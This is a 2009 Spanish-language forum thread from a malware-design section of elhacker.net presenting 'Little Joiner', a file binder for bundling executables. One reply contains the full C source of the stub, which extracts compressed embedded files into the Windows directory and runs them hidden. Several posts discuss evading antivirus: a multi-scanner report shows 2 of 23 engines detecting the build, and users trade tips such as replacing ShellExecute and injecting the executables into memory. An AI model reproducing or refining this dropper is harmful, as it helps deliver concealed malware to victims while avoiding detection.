elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [Aporte] Mejores practicas en Java


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  Abril negro (Moderadores: Man-In-the-Middle, WHK, fary)
| | | |-+  Little Joiner 1.0 (Open Source)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Little Joiner 1.0 (Open Source)  (Leído 3,879 veces)
[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Little Joiner 1.0 (Open Source)
« en: 10 Mayo 2009, 13:05 »

Little Joiner

Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner.

¿Qué es?

Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre  :xD.

Captura


Características
-Tamaño del stu reducido, 1.7kb.

-Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía  ;)

-Dos stubs, uno que soporta icono y otro que no

-El stub sin icono realinea el pe para dejar el EOF dentro de la sección.

-Permite cambiar el icono


Cosas que se pueden mejorar

-Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir.

-El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar.

-Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner  :xD.

Descargar Aplicación

Descargar Source

Saludos

PD: La función para cambiar el icono no es mía, pertenece a Tughack.


« Última modificación: 12 Mayo 2009, 19:59 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: Little Joiner 1.0 (Open Source)
« Respuesta #1 en: 10 Mayo 2009, 14:19 »

Jejeje, menudo ritmo... que lo empezaste, hace una semana? :xD

Me alegro que te gustara la idea de las APIs de compresión ;D

Voy a testearlo y te cuento ;)

Para la próxima podrías añadir lo de eligir si ejecutar o no ;D

Me ha funcionado perfectamente ;)

4kb + 264kb -> 263kb ;)

He estado mirando... Estas APIs para que las gastas?
  • GetCommandLine
  • wsprintf

Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' ;D (MUCHO MENOS DETECTADA)

Te ahorrarías unos bytes :xD :xD

Ah! Que directorio temporal gasta? WinDir? :-\ Mejor %TMP% :P


« Última modificación: 10 Mayo 2009, 14:29 por Karcrack » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Little Joiner 1.0 (Open Source)
« Respuesta #2 en: 10 Mayo 2009, 14:22 »

No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen  :o.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: Little Joiner 1.0 (Open Source)
« Respuesta #3 en: 10 Mayo 2009, 14:36 »

No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen  :o.

Saludos
Si, impresionante...

Y para quien le interese, es casi FUD:
Citar

File Info

Report generated: 10.5.2009 at 14.34.41 (GMT 1)
Filename: x.txt.exe
File size: 1 KB
MD5 Hash: C81DD690DFB5E661A08D5D4200141561
SHA1 Hash: 991752693E603ED44D5966F7BE875F9CF13A104F
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 2 on 23

Detections

a-squared - Nothing found!
Avira AntiVir - TR/Crypt.XPACK.Gen
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found! 
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found! 
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found! 
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Suspicious
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!   
Virus Buster - Nothing found!

Scan report generated by 
NoVirusThanks.org


Seria fácil de FUDear, con reemplazar ShellExecute :P
« Última modificación: 10 Mayo 2009, 14:38 por Karcrack » En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.982


Ver Perfil WWW
Re: Little Joiner 1.0 (Open Source)
« Respuesta #4 en: 10 Mayo 2009, 14:50 »

Muy bueno, lo vas a presentar a el concurso??
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Little Joiner 1.0 (Open Source)
« Respuesta #5 en: 10 Mayo 2009, 16:59 »

Muy bueno, lo vas a presentar a el concurso??
No, aún me queda un fin de semana para el metamorph, no estará completo pero presentaré lo que tenga con el código.

Saludos
Para la próxima podrías añadir lo de eligir si ejecutar o no ;D

Me ha funcionado perfectamente ;)

4kb + 264kb -> 263kb ;)

He estado mirando... Estas APIs para que las gastas?
  • GetCommandLine
  • wsprintf

Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' ;D (MUCHO MENOS DETECTADA)

Te ahorrarías unos bytes :xD :xD

Ah! Que directorio temporal gasta? WinDir? :-\ Mejor %TMP% :P

GetCommandLine no recuerdo usarla  :huh:. wsprintf la uso para concatenar la ruta de extracción con el nombre y la extensión del archivo. Lo de cambiar shellexecute pues si, seguramente pese menos y algunos antivirus se larguen. Avira y el otro según me dijeron lo detecta por tener sólo una sección, si compilas un messagebox con fasm de forma que te genere una sóla sección también saltan, si se agrega una sección para contener los archivos que se unirán deberían de irse, de todas formas no creo que lo haga (por lo menos antes del 17 xd) si alguien quiere continuar el proyecto pos está a su disposición.

Saludos
« Última modificación: 10 Mayo 2009, 17:06 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.425


Se siente observado ¬¬'


Ver Perfil
Re: Little Joiner 1.0 (Open Source)
« Respuesta #6 en: 10 Mayo 2009, 17:15 »

He estado mirando y el GetCommandLine se usa para obtener la ruta completa donde estas (%0)...
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Little Joiner 1.0 (Open Source)
« Respuesta #7 en: 11 Mayo 2009, 17:27 »

Bueno Karcrack, éste source es para ti  ;D.

Código
  1. #pragma optimize("gsy", on)
  2. #include <windows.h>
  3.  
  4. typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
  5. IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
  6.  
  7. typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
  8.  
  9. DWORD dwBytes;
  10.  
  11. VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
  12. {
  13. HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
  14. WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
  15. CloseHandle(hSFTD);
  16. }
  17.  
  18. LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
  19. {
  20.   _RtlDecompressBuffer miRtlDecompressBuffer;
  21.  
  22.   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
  23.  
  24.   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
  25.  
  26.   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
  27.  
  28.   return szRet;
  29. }
  30.  
  31. void main()
  32. {
  33. _CopyMemory miCopyMemory=NULL;
  34. miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
  35.  
  36. DWORD szSubFile;
  37. LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
  38. DWORD Seek=0;
  39. LPSTR lpFile=NULL;
  40.  
  41. LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  42. GetModuleFileName(0,AppName,MAX_PATH);
  43.  
  44. HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
  45. DWORD szFile=GetFileSize(hFile,0);
  46. LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
  47. ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
  48.  
  49. DWORD StubSize=0x640;
  50.  
  51. LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  52. GetWindowsDirectory(WinPath,MAX_PATH);
  53.  
  54. DWORD NumArchivos;
  55. miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
  56.  
  57. Seek=4;
  58. for(DWORD i=0;i<NumArchivos;i++)
  59. {
  60. //Obtenemos el peso del archivo
  61. miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
  62.  
  63. //Obtenemos la extensión
  64. miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
  65.  
  66. //Leemos el archivo
  67. lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
  68. miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
  69.  
  70. //Lo descomprimimos
  71. DWORD szDecompressedFile;
  72. LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
  73.  
  74. //Generamos la ruta
  75. LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  76. lstrcat(Path,WinPath);
  77. lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
  78. LPSTR fName=NULL;
  79. for(DWORD z=0;z<i+1;z++)
  80. {
  81. lstrcat(fName,"A");
  82. }
  83. lstrcat(Path,fName);
  84. lstrcat(Path,".");
  85. lstrcat(Path,ext);
  86.  
  87. //Lo guardamos en WinPath
  88. SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
  89.  
  90. LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  91. lstrcat(Archivo,"cmd /d /c \"");
  92. lstrcat(Archivo,WinPath);
  93. lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
  94. lstrcat(Archivo,fName);
  95. lstrcat(Archivo,".");
  96. lstrcat(Archivo,ext);
  97. lstrcat(Archivo,"\"");
  98.  
  99. WinExec(Archivo,SW_HIDE);
  100.  
  101. Seek=Seek+11+szSubFile;
  102.  
  103. }
  104. CloseHandle(hFile);
  105. }
  106.  

No importa la SHELL32.DLL y pesa 0.25kb menos o así  :xD. Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más.

Saludos
« Última modificación: 11 Mayo 2009, 20:18 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Extremadura abandona el Open Source
Noticias
wolfbcn 1 1,303 Último mensaje 2 Enero 2012, 17:13
por dimitrix
Los robots cirujanos Raven II, serán Open Source
Noticias
wolfbcn 0 728 Último mensaje 18 Enero 2012, 02:05
por wolfbcn
LiVES, un completo editor de vídeos Open Source
Noticias
wolfbcn 0 641 Último mensaje 23 Enero 2012, 21:26
por wolfbcn
Kernels open-source
Dudas Generales
GeorgArming 1 949 Último mensaje 31 Enero 2012, 19:30
por GeorgArming
SMALL JOINER by E0N (Joiner Open Source en ASM)
ASM
Progmasterbr 1 718 Último mensaje 16 Mayo 2015, 18:26
por x64core
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines